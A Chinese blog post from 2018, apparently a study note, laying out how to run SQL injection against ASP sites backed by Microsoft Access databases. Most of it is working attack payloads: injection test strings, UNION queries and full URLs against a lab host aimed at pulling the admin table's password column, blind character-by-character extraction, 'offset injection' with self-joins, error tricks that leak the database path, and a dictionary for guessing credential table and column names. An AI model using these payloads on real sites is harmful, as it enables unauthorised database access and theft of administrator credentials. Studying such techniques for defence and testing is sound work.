美文网首页
2018-05-09 漏洞2.ASP+ACCESS SQL注入

2018-05-09 漏洞2.ASP+ACCESS SQL注入

作者: labixx | 来源:发表于2018-05-09 10:47 被阅读0次

注入判断:

单引号:'

数字型:and 1=1 /and 1=2

字符型:' and '1'='1 /' and '1'='2

搜索型:%' and 1=1 and '%'=' / %' and 1=2 and '%'='

Asp注入的三种方法

第一种:联合查询

1.使用order by对数据进行排序,判断存在多少个列表

order by 22 正确

order by 23 错误

2.使用UNION联合查询判断

+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22+from+admin

这里猜测表名为admin,使用联合查询的方法

image.png

3.猜解列名填入前端显示处返回列表内容

http://192.168.3.9/Production/PRODUCT_DETAIL.asp?id=1400 +UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,password,16,17,18,19,20,21,22+from+admin

第二种:猜解

2.1爆破的方式

猜表名

返回正确说明存在相关表名

AND exists(select * from tablesname) 

猜列名

返回正确说明列名存在

AND exists(select columnsname from tablesname)

特殊方法:

在Access数据库里,也支持having 和 group by 语句

A、如果站点SQL查询语句为 select id,name,address from 表名

也就是说查询的是特定的字段数据(而不是*),那么我们可以这么爆,

productshow.asp?id=25 group by 1 having 1=1(数字型),

如果字符型就 'group by 1 having '1'='1'

返回错误:

Microsoft JET Database Engine (0x80040E21)

试图执行的查询中不包含作为合计函数一部分的特定表达式 'id' 。

爆出id字段,继续,productshow.asp?id=25 group by 1,id having 1=1

返回错误:

Microsoft JET Database Engine (0x80040E21)

试图执行的查询中不包含作为合计函数一部分的特定表达式 'email' 。

依次类推productshow.asp?id=25 group by 1,id,email having 1=1,可以爆出目标表中的所有字段

B、如果站点SQL查询语句为select * from product where id=”ID”

那么执行上述语句就会返 回这样的错误:

Microsoft JET Database Engine 错误 '80040e21' 不能将已选定'*'的字段中组合。/productshow.asp,行 18

这时我们可以这样爆字段,

productshow.asp?id=25 having sum(1)=1(数字型)

                    ' having sum('1')='1')(字符型)

返回的错误:

Microsoft JET Database Engine 错误 '80040e21' 试图执行的查询中不包含作为合计函数一部分的特定表达式 'id' 。/productshow.asp,行 18

可以看到爆出了ID。

但这样很有局限性,只能爆出第一个字段id,其他的就没办法了。而id字段其实可能是可以直接猜出来的。

2.2逐字猜解的方法

猜解列中内容的行数

x为内容的行数大于等于0开始,返回正确说明存在

AND IIF((SELECT COUNT(*) FROM tablesname) = X, 1, 0)

如下表单为admin,AND IIF((SELECT COUNT(*) FROM tablesname) = X, 1, 0)


image.png

猜解内容的长度

如果目标注入点不直接回显错误信息,则我们需要首先知道目标字段内容的长度,才能进一步通过写脚本爆破出字段内容。

需要已知表名和列名然后猜列中字段长度

AND IIF((SELECT TOP 1 LEN(columnsname) FROM tablesname) = x, 1, 0)

或者

and (select top 1 len(columnsname)from tablesname)>x

猜解内容

and (select top 1 asc(mid(列名,位数,1)) from 表名)>97

神奇的分割线





Access偏移注入

偏移注入的使用条件如下:

主查询语句的字段数大于或等于目标表列的两倍最好,这样一般都能显示齐。

知道目标表的一个字段,比如id,但是却不知道其他字段。

简单说下偏移注入原理:

1.Union联合查询需要列相等,顺序一样;

2.这句话就是说把admin表记为a,同时也记为b,然后查询条件是a表的id列与b表的id列相等,返回所有相等的行。显然,a、b都是同一个表,当然全部返回啦。

select * from admin as a inner join admin as b on a.id=b.id

(1)order by 判断存在的字段数

使用*号代替所有字段直到访问返回正确。这里可以看到16时候正确,同时也表示admin下有6个字段。

http://192.168.3.9/Production/PRODUCT_DETAIL.asp?id=1400+UNION+ALL+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin

http://192.168.3.9/Production/PRODUCT_DETAIL.asp?id=1400+UNION+ALL+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,* from admin

(2) 计算偏移后剩余的字段位数

公式 : 总字段数-(总字段数-剩余字段数)*2=

例: 22-(22-16)*2=10

(3) 使用偏移查看是否直接爆出字段内容

union select 1,2,3,4,5,6,7,8,9,10,a.id,* from (admin as a inner join admin as b on a.id=b.id)

(4)如果显示不完全添加新的id

星号*代表了所有字段,如你查admin表,他有几个字段,那么星号就代表几个字段。

如果爆出的内容不在可显示字段怎么办?那么添加a.id字段,bid字段

union select 1,2,3,4,5,6,7,8,9,10,a.id,* from (admin as a inner join admin as b on a.id=b.id)

union select 1,2,3,4,5,6,7,8,9,10,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)

(5)如果依然有问题,可以进行二级偏移

二级偏移同时需要再减去admin的字段数量6个,同时添加c.id

http://192.168.3.9/Production/PRODUCT_DETAIL.asp?id=1400 union select 1,2,3,4,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)

这里假设主语句查询字段共20个,目标表admin字段数为5。

大家是否觉得很疑惑:10+2 + 5*2 = 22 > 20

但这条语句是合法的。因为a.id和 b.id在 * 里是有的,那么自动去掉重复的元素以保持结果集合里元素的唯一性。这样一来虽然查询效果一样,但是*里的字段排列顺序却被打乱了!先后两次打乱很有可能让username、password等字段偏移到可显示位置。

如果还没成功 怎么办?

union select 1,2,3,4,5,6,7,8,9,10,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)

union select 1,2,3,4,5,6,7,8,9,10,a.id,b.id,c.id,d.id,* from (((admin as ainner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)inner join admin as d on a.id=d.id)


其他技巧

检测数据库是否开启沙箱模式

SELECT * FROM users WHERE id=1 UNION SELECT curdir() FROM MsysAccessObjects WHERE 1=1

用TOP代替LIMIT

LIMIT不被支持,但在查询中可以声明”TOP N”来限制返回内容的行数:

 UNION SELECT TOP 3 AttrName FROM validTableName

字符串连接

支持CONCAT()函数,可以使用”&”或”+”操作来连接两个字符串。在使用时必须对这两个操作符进行URLencode编码

UNION SELECT 'web' %2b 'app' FROM validTableName : 返回"webapp"

UNION SELECT 'web' %26 'app' FROM validTableName : 返回"webapp"

爆数据库路径

可以通过对一个不存在的库进行SELECT操作,Access将会返回一条包含有完整路径的错误信息:

UNION SELECT 1 FROM ThisIsAFakeName.FakeTable

表名/列名字典

account, accnts, accnt, user_id, members, usrs, usr2, accounts, admin, admins, adminlogin, auth, authenticate, authentication, account, access;

customers, customer, config, conf, cfg;

hash;

login, logout, loginout, log;

member, memberid;

password, pass_hash, pass, passwd, passw, pword, pwrd, pwd;

store, store1, store2, store3, store4, setting;

username, name, user, user_name, user_username, uname, user_uname, usern, user_usern, un, user_un, usrnm, user_usrnm, usr, usernm, user_usernm, user_nm, user_password, userpass, user_pass, , user_pword, user_passw, user_pwrd, user_pwd, user_passwd;

相关文章

网友评论

      本文标题:2018-05-09 漏洞2.ASP+ACCESS SQL注入

      本文链接:https://www.haomeiwen.com/subject/wtlnrftx.html